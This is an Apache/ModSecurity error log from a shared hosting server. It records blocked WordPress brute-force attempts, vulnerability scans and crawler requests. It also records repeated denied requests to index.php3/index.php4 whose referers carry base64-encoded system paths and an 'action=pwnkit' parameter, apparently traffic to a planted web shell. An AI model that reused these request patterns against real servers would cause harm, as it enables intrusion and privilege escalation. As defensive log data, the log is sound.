https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjE0L3N1YnN5c3RlbQ== [Sat Jun 13 18:24:33.077058 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjE0L3N1YnN5c3RlbQ== [Sat Jun 13 18:24:33.175170 2026] [security2:error] [pid 715691:tid 715956] [client 159.223.112.69:54702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30wbV-dFiaX9AtWiQtsgAAAX0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:33.236723 2026] [security2:error] [pid 715691:tid 715948] [client 159.223.112.69:54714] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30wbV-dFiaX9AtWiQttQAAAXU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:33.373515 2026] [access_compat:error] [pid 646876:tid 646932] [remote 57.141.14.75:57358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:33.373951 2026] [access_compat:error] [pid 646876:tid 646932] [remote 57.141.14.75:57358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:33.375713 2026] [access_compat:error] [pid 646876:tid 646926] [remote 57.141.14.42:24896] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:33.375962 2026] [access_compat:error] [pid 646876:tid 646926] [remote 57.141.14.42:24896] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:33.393875 2026] [security2:error] [pid 715691:tid 715939] [client 159.223.112.69:54726] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30wbV-dFiaX9AtWiQtuQAAAWw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:33.466347 2026] [security2:error] [pid 715691:tid 715898] [client 159.223.112.69:54728] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30wbV-dFiaX9AtWiQtuwAAAUM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:33.597287 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:24:33.597577 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:24:33.651726 2026] [security2:error] [pid 715691:tid 715735] [remote 17.241.227.149:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 149.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30wbV-dFiaX9AtWiQtwwABGRk"] [Sat Jun 13 18:24:33.684841 2026] [security2:error] [pid 715691:tid 715869] [client 159.223.112.69:54742] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30wbV-dFiaX9AtWiQtxQAAASY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:33.783027 2026] [security2:error] [pid 715691:tid 715730] [remote 17.246.15.87:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 87.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30wbV-dFiaX9AtWiQtygABGBQ"] [Sat Jun 13 18:24:33.826435 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.66:31516] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:33.826905 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.66:31516] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:33.905219 2026] [security2:error] [pid 646876:tid 647111] [client 159.223.112.69:54746] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30wdyTkdrNlD40tSHaFQAAAGc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:33.944831 2026] [access_compat:error] [pid 646876:tid 646974] [remote 57.141.14.53:38496] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:33.945313 2026] [access_compat:error] [pid 646876:tid 646974] [remote 57.141.14.53:38496] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:34.065814 2026] [access_compat:error] [pid 715691:tid 715812] [remote 57.141.14.3:25752] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:34.066106 2026] [access_compat:error] [pid 715691:tid 715812] [remote 57.141.14.3:25752] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:34.067573 2026] [security2:error] [pid 646876:tid 647004] [remote 17.22.245.211:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 211.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30wtyTkdrNlD40tSHaHgAADn0"] [Sat Jun 13 18:24:34.095840 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:24:34.096291 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:24:34.253302 2026] [security2:error] [pid 715691:tid 715722] [remote 17.246.15.7:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 7.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30wrV-dFiaX9AtWiQt2QABfQw"] [Sat Jun 13 18:24:34.624951 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:24:34.625378 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:24:34.752193 2026] [security2:error] [pid 715691:tid 715768] [remote 111.225.149.90:56478] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "blog.wesonline.ng"] [uri "/resume-format-for-any-job-the-ultimate-guide/"] [unique_id "ai30wrV-dFiaX9AtWiQt9wABUjk"] [Sat Jun 13 18:24:34.775305 2026] [security2:error] [pid 715691:tid 715739] [remote 17.241.75.139:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30wrV-dFiaX9AtWiQt-AABKh0"] [Sat Jun 13 18:24:34.930186 2026] [access_compat:error] [pid 715691:tid 715718] [remote 57.141.14.44:31153] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:34.930669 2026] [access_compat:error] [pid 715691:tid 715718] [remote 57.141.14.44:31153] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:35.114525 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:24:35.114984 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:24:35.217751 2026] [access_compat:error] [pid 715691:tid 715784] [remote 57.141.14.108:62615] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:35.218192 2026] [access_compat:error] [pid 715691:tid 715784] [remote 57.141.14.108:62615] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:35.297110 2026] [access_compat:error] [pid 646876:tid 646987] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:35.297560 2026] [access_compat:error] [pid 646876:tid 646987] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:35.370556 2026] [access_compat:error] [pid 646876:tid 646892] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?action=pwnkit&p=L3Zhci9saWIvbXlzcWwtZmlsZXM%3D [Sat Jun 13 18:24:35.371011 2026] [access_compat:error] [pid 646876:tid 646892] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?action=pwnkit&p=L3Zhci9saWIvbXlzcWwtZmlsZXM%3D [Sat Jun 13 18:24:35.456426 2026] [security2:error] [pid 715691:tid 715851] [client 159.223.112.69:59630] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30w7V-dFiaX9AtWiQuCAAAARQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:35.602170 2026] [access_compat:error] [pid 715691:tid 715797] [remote 57.141.14.7:42491] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:35.602610 2026] [access_compat:error] [pid 715691:tid 715797] [remote 57.141.14.7:42491] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:35.634320 2026] [security2:error] [pid 646876:tid 646887] [remote 17.22.237.68:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 68.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30w9yTkdrNlD40tSHaUwAAAwg"] [Sat Jun 13 18:24:35.674388 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:24:35.674847 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:24:35.675071 2026] [security2:error] [pid 646876:tid 647082] [client 159.223.112.69:59646] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30w9yTkdrNlD40tSHaVQAAAEo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:35.804018 2026] [security2:error] [pid 715691:tid 715809] [remote 17.241.227.150:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30w7V-dFiaX9AtWiQuFwABUmI"] [Sat Jun 13 18:24:35.890715 2026] [access_compat:error] [pid 646876:tid 646906] [remote 57.141.14.88:51148] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:35.891161 2026] [access_compat:error] [pid 646876:tid 646906] [remote 57.141.14.88:51148] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:35.895745 2026] [security2:error] [pid 646876:tid 647090] [client 159.223.112.69:59650] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30w9yTkdrNlD40tSHaWgAAAFI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:36.011646 2026] [access_compat:error] [pid 646876:tid 647003] [remote 57.141.14.54:37291] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:36.012097 2026] [access_compat:error] [pid 646876:tid 647003] [remote 57.141.14.54:37291] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:36.133006 2026] [security2:error] [pid 715691:tid 715875] [client 159.223.112.69:59652] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com 